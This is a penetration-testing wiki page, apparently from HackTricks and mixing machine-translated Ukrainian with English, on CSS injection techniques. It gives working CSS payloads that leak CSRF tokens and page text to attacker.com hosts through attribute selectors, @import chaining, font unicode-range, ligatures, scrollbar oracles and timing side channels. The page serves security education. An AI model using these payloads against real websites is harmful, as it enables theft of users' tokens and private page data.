CSS Injection

Support HackTricks

CSS Injection

Attribute Selector

CSS селектори створені для відповідності значенням атрибутів name та value елемента input. Якщо атрибут значення елемента введення починається з певного символу, завантажується попередньо визначений зовнішній ресурс:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Однак цей підхід стикається з обмеженням при роботі з прихованими елементами введення (type="hidden"), оскільки приховані елементи не завантажують фони.

Обхід для прихованих елементів

Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сibling, використовуючи комбінацію загального sibling ~. Правило CSS тоді застосовується до всіх sibling, що йдуть після прихованого елемента введення, змушуючи фонове зображення завантажуватися:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Практичний приклад використання цієї техніки детально описаний у наданому фрагменті коду. Ви можете переглянути його тут.

Передумови для CSS Injection

Для того щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:

  1. Довжина Payload: Вектор CSS injection повинен підтримувати достатньо довгі payload для розміщення створених селекторів.

  2. Повторна оцінка CSS: Ви повинні мати можливість оформити сторінку, що необхідно для виклику повторної оцінки CSS з новоствореними payload.

  3. Зовнішні ресурси: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено політикою безпеки контенту (CSP) сайту.

Сліпий селектор атрибутів

Як пояснено в цьому пості, можливо поєднати селектори :has і :not для ідентифікації контенту навіть з сліпих елементів. Це дуже корисно, коли ви не знаєте, що знаходиться всередині веб-сторінки, що завантажує CSS injection. Також можливо використовувати ці селектори для витягування інформації з кількох блоків одного типу, як у:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Об'єднуючи це з наступною технікою @import, можливо ексфільтрувати багато інформації за допомогою CSS-ін'єкції з сліпих сторінок з blind-css-exfiltration.

@import

Попередня техніка має деякі недоліки, перевірте вимоги. Вам потрібно або надіслати кілька посилань жертві, або ви повинні мати можливість вставити в iframe сторінку, вразливу до CSS-ін'єкції.

Однак є ще одна хитра техніка, яка використовує CSS @import для покращення якості техніки.

Це вперше показав Pepe Vila і це працює так:

Замість того, щоб завантажувати одну й ту ж сторінку знову і знову з десятками різних корисних навантажень щоразу (як у попередньому випадку), ми будемо завантажувати сторінку лише один раз і лише з імпортом на сервер зловмисника (це корисне навантаження, яке потрібно надіслати жертві):

@import url('//attacker.com:5001/start?');
  1. Імпорт буде отримувати деякий CSS скрипт від атакуючих, і браузер його завантажить.

  2. Перша частина CSS скрипту, яку надішле атакуючий, буде іншим @import на сервер атакуючих знову.

  3. Сервер атакуючих поки не відповість на цей запит, оскільки ми хочемо витікати деякі символи, а потім відповісти на цей імпорт з корисним навантаженням, щоб витікати наступні.

  4. Друга і більша частина корисного навантаження буде корисним навантаженням для витоку селектора атрибутів

  5. Це надішле на сервер атакуючих перший символ секрету і останній.

  6. Як тільки сервер атакуючих отримає перший і останній символ секрету, він відповість на імпорт, запитаний на кроці 2.

  7. Відповідь буде точно такою ж, як кроки 2, 3 і 4, але цього разу він спробує знайти другий символ секрету, а потім передостанній.

Атакуючий продовжить цей цикл, поки не зможе повністю витікати секрет.

Ви можете знайти оригінальний код Пепе Віли для експлуатації цього тут або ви можете знайти майже той же код, але з коментарями тут.

Скрипт спробує виявити 2 символи щоразу (з початку і з кінця), оскільки селектор атрибутів дозволяє робити такі речі:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Це дозволяє скрипту швидше витікати секрет.

Іноді скрипт неправильно визначає, що префікс + суфікс, що було виявлено, вже є повним флагом і продовжить рухатися вперед (в префіксі) і назад (в суфіксі), і в якийсь момент він зависне. Не хвилюйтеся, просто перевірте вихідні дані, тому що ви можете побачити флаг там.

Інші селектори

Інші способи доступу до частин DOM за допомогою CSS селекторів:

  • .class-to-search:nth-child(2): Це буде шукати другий елемент з класом "class-to-search" в DOM.

  • :empty селектор: Використовується, наприклад, в цьому описі:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

Посилання: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Загальна мета полягає в тому, щоб використовувати власний шрифт з контрольованої точки доступу і забезпечити, щоб текст (в даному випадку, 'A') відображався цим шрифтом лише в тому випадку, якщо вказаний ресурс (favicon.ico) не може бути завантажений.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Використання Кастомного Шрифту:

  • Кастомний шрифт визначається за допомогою правила @font-face в <style> тегу в секції <head>.

  • Шрифт називається poc і завантажується з зовнішнього ендпоінту (http://attacker.com/?leak).

  • Властивість unicode-range встановлена на U+0041, націлюючись на конкретний символ Юнікоду 'A'.

  1. Елемент Object з Резервним Текстом:

  • Створено <object> елемент з id="poc0" в секції <body>. Цей елемент намагається завантажити ресурс з http://192.168.0.1/favicon.ico.

  • font-family для цього елемента встановлено на 'poc', як визначено в секції <style>.

  • Якщо ресурс (favicon.ico) не вдається завантажити, резервний контент (літера 'A') всередині тегу <object> відображається.

  • Резервний контент ('A') буде відображено за допомогою кастомного шрифту poc, якщо зовнішній ресурс не може бути завантажено.

Стилізація Фрагмента Тексту для Прокрутки

Псевдоклас :target використовується для вибору елемента, на який націлений фрагмент URL, як зазначено в специфікації CSS Selectors Level 4. Важливо розуміти, що ::target-text не відповідає жодним елементам, якщо текст не націлений явно фрагментом.

Проблема безпеки виникає, коли зловмисники експлуатують функцію Scroll-to-text фрагмента, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці, завантажуючи ресурс з їхнього сервера через HTML-ін'єкцію. Метод полягає в ін'єкції CSS правила, як це:

:target::before { content : url(target.png) }

У таких сценаріях, якщо текст "Administrator" присутній на сторінці, ресурс target.png запитується з сервера, що вказує на наявність тексту. Приклад цієї атаки можна виконати через спеціально підготовлене URL, яке вбудовує ін'єкційний CSS разом з фрагментом Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Тут атака маніпулює HTML-ін'єкцією для передачі CSS-коду, націлюючись на конкретний текст "Administrator" через фрагмент Scroll-to-text (#:~:text=Administrator). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про свою присутність атакуючому.

Для пом'якшення слід звернути увагу на такі пункти:

  1. Обмежене співвідношення STTF: Фрагмент Scroll-to-text (STTF) призначений для співвідношення лише слів або речень, тим самим обмежуючи його здатність витікати довільні секрети або токени.

  2. Обмеження до верхнього рівня контекстів перегляду: STTF працює виключно в контекстах верхнього рівня перегляду і не функціонує в iframe, що робить будь-яку спробу експлуатації більш помітною для користувача.

  3. Необхідність активації користувачем: STTF вимагає жесту активації користувача для роботи, що означає, що експлуатації можливі лише через ініційовану користувачем навігацію. Ця вимога значно зменшує ризик автоматизації атак без взаємодії з користувачем. Проте автор блогу вказує на специфічні умови та обходи (наприклад, соціальна інженерія, взаємодія з поширеними розширеннями браузера), які можуть полегшити автоматизацію атаки.

Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких експлуатаційних тактик.

Для отримання додаткової інформації перевірте оригінальний звіт: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Ви можете перевірити експлойт, що використовує цю техніку для CTF тут.

@font-face / unicode-range

Ви можете вказати зовнішні шрифти для конкретних значень unicode, які будуть збиратися лише якщо ці значення unicode присутні на сторінці. Наприклад:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Викрадення даних у чудовому стилі – тобто як використати CSS для атак на вебдодаток

The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:

  1. Creation of Custom Fonts:

  • SVG fonts are crafted with glyphs having a horiz-adv-x attribute, which sets a large width for a glyph representing a two-character sequence.

  • Example SVG glyph: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, where "XY" denotes a two-character sequence.

  • These fonts are then converted to woff format using fontforge.

  1. Detection of Width Changes:

  • CSS is used to ensure that text does not wrap (white-space: nowrap) and to customize the scrollbar style.

  • The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.

  • The CSS involved:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:

  • Step 1: Fonts are created for pairs of characters with substantial width.

  • Step 2: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.

  • Step 3: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.

  • Step 4: Detection of the three-character ligature is carried out.

  • Step 5: The process repeats, progressively revealing the entire text.

  1. Optimization:

  • The current initialization method using <meta refresh=... is not optimal.

  • A more efficient approach could involve the CSS @import trick, enhancing the exploit's performance.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. The charset used in a text node can be leaked використовуючи шрифти за замовчуванням, встановлені в браузері: жодні зовнішні - або кастомні - шрифти не потрібні.

The concept revolves around utilizing an animation to incrementally expand a div's width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:

  1. Prefix: The initial line.

  2. Suffix: The subsequent line(s).

The transition stages of the characters would appear as follows:

C ADB

CA DB

CAD B

CADB

During this transition, the unicode-range trick is employed to identify each new character as it joins the prefix. This is achieved by switching the font to Comic Sans, which is notably taller than the default font, consequently triggering a vertical scrollbar. This scrollbar's appearance indirectly reveals the presence of a new character in the prefix.

Although this method allows the detection of unique characters as they appear, it does not specify which character is repeated, only that a repetition has occurred.

Basically, the unicode-range is used to detect a char, but as we don't want to load an external font, we need to find another way. When the char is found, it's given the pre-installed Comic Sans font, which makes the char bigger and triggers a scroll bar which will leak the found char.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): витік кодування з використанням шрифту за замовчуванням шляхом приховування елементів (не вимагає зовнішніх ресурсів)

Reference: Це згадується як невдале рішення в цьому звіті

Цей випадок дуже схожий на попередній, однак у цьому випадку мета зробити конкретні символи більшими за інші, щоб приховати щось на кшталт кнопки, щоб її не натиснув бот, або зображення, яке не буде завантажено. Таким чином, ми могли б виміряти дію (або відсутність дії) і дізнатися, чи присутній конкретний символ у тексті.

Text node exfiltration (III): витік кодування за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів)

Reference: Це згадується як невдале рішення в цьому звіті

У цьому випадку ми могли б спробувати витікати, чи є символ у тексті, завантажуючи фейковий шрифт з того ж походження:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Якщо є збіг, шрифт буде завантажено з /static/bootstrap.min.css?q=1. Хоча він не завантажиться успішно, браузер повинен його кешувати, і навіть якщо кешу немає, існує механізм 304 not modified, тому відповідь повинна бути швидшою за інші.

Однак, якщо різниця в часі між кешованою відповіддю та некешованою не є достатньо великою, це не буде корисно. Наприклад, автор зазначив: Однак, після тестування, я виявив, що перша проблема полягає в тому, що швидкість не дуже відрізняється, а друга проблема в тому, що бот використовує прапор disk-cache-size=1, що дійсно продумано.

Exfiltration текстового вузла (III): витік кодування символів шляхом завантаження сотень локальних "шрифтів" (не вимагаючи зовнішніх ресурсів)

Посилання: Це згадується як невдале рішення в цьому звіті

У цьому випадку ви можете вказати CSS для завантаження сотень фальшивих шрифтів з того ж походження, коли відбувається збіг. Таким чином, ви можете виміряти час, який це займає, і дізнатися, чи з'являється символ, чи ні, за допомогою чогось на кшталт:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

А код бота виглядає так:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Отже, якщо шрифт не збігається, час відповіді при відвідуванні бота очікується приблизно 30 секунд. Однак, якщо є збіг шрифтів, буде надіслано кілька запитів для отримання шрифту, що призведе до постійної активності в мережі. Як наслідок, знадобиться більше часу для задоволення умови зупинки та отримання відповіді. Тому час відповіді можна використовувати як індикатор для визначення, чи є збіг шрифтів.

References

Support HackTricks

Last updated